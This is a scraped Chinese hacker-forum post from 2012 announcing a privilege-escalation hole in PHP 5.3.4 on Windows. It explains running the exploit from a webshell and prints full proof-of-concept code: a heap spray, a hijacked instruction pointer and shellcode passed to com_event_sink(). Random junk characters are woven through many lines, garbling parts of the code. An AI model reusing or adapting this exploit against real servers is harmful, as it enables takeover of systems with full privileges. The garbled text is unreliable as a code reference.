找回密码
 立即注册
查看: 2598|回复: 0
打印 上一主题 下一主题

PHP 5.3.4(WIN) COM_SINK权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:08:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHP最新版已经更新至5.4.x,不过中国大陆尚处于在5.2.x和5.3.x更替的阶段。存在漏洞的php存在于5.3.x版本中
$ Y9 U4 A- m0 R5 {. |- E" G2 _' E- e5 n" [
测试方法如下:cmd /c x:\php\php.exe x:\test.php8 ^$ Q; d4 B: @8 }

( C4 s/ u( k6 f1 Y% d  D3 S* I下载php程序至本地,然后使用php.exe解析php即可。Webshell上面使用php的exec等函数执行,或者使用Wscript.shell调用cmd.exe然后 /c x:\php\php.exe x:\xxxx\test.php7 S2 g9 y; a- |+ j% [# ~( r
这里是两个测试的截图:
' |! |, \& ~) k+ `
, Z5 G- b* _& c* g( ]/ K4 w/ O1 W

) F. D/ s  f' F9 z! b5 d! _' q3 L" q0 Q; f6 b. H
2 s, t) }% y7 O& ^
成功利用此漏洞的攻击者将获得系统的最高权限
6 |8 s4 l: l. L# G/ b2 w, c2 b# G/ R, t; ]2 `& z

) c1 U+ H: N3 C4 w4 m4 |, P, I% Z4 F$ d$ O/ l. b2 I1 r

6 _4 R. i1 {0 P/ r4 }
; p/ a* \& H& D4 z( r/ X+ y% _& A关于漏洞分析稍后附上。一下是PoC代码:/ e+ D4 y" ]' B" S8 u+ I  E& `
! t9 O3 X* T8 b( V
<?php$ L. U+ a: x; o
//PHP 5.3.4(Win版) com_event_sink()模型权限提升漏洞
* T4 g' ]4 s# e3 E% q//$eip ="\x44\x43\x42\x41";7 A2 y' |& z# X
$eip= "\x4b\xe8\x57\x78";
5 a; z& U% [3 b; E: x6 C8 n0 n$eax ="\x80\x01\x8d\x04";; A7 o/ I1 g/ i+ Q1 I8 G
$deodrant="";
/ ~' h, z, N+ n2 @( R  \$axespray = str_repeat($eip.$eax,0x80);* P7 X/ l  t  @
//048d0190) J; J1 V8 z' k- q- Q
echo strlen($axespray);
' l2 n# L) D9 W  m& o2 Decho "PHP 5.3.4(WIN) COM_SINK Privilege Escalation\n";
1 X& s! M; ]7 M" oecho "Silic Group Hacker Army - BlackBap.Org";
/ J# Y7 L, F9 B& M& F//19200 ==4B32 4b00" c+ K9 O1 x5 V& W: ^: Z0 @1 J, T
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++){$deodrant.=$axespray;}. x% M( @. b" X! P
$terminate = "T";  m+ [) S5 w$ n5 q7 Y( Q; Y. k
$u[] =$deodrant;
4 _3 r, A" ~! Y% s; q2 j& o9 z$r[] =$deodrant.$terminate;
. i! X# E5 b: q+ E! S* r$a[] =$deodrant.$terminate;2 E! e* }3 V) {. ?( `6 U0 F; @
$s[] =$deodrant.$terminate;0 O6 v  h$ n2 i$ H* E) w9 }
//$vVar = new VARIANT(0x048d0038+$offset);        这里是可控可改的
$ g, B& }6 Z. q, M9 J' J( L0 e1 }$vVar = new VARIANT(0x048d0000+180);, E7 z# l( A( F3 ^" J9 [9 S
//弹窗代码(Shellcode)
1 K% Q2 E) f' I' X7 E$buffer = "\x90\x90\x90"."\xB9\x38\xDD\x82\x7C\x33\xC0\xBB"."\xD8\x0A\x86\x7C\x51\x50\xFF\xd3";0 o7 ?' a) O" b2 E( X
$var2 = new VARIANT(0x41414242);, I  v# H/ s0 p, X# o3 T2 t, _
com_event_sink($vVar,$var2,$buffer);
9 X* _6 v! r8 v- C9 G' x?>7 a; z# [  s6 C& N

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表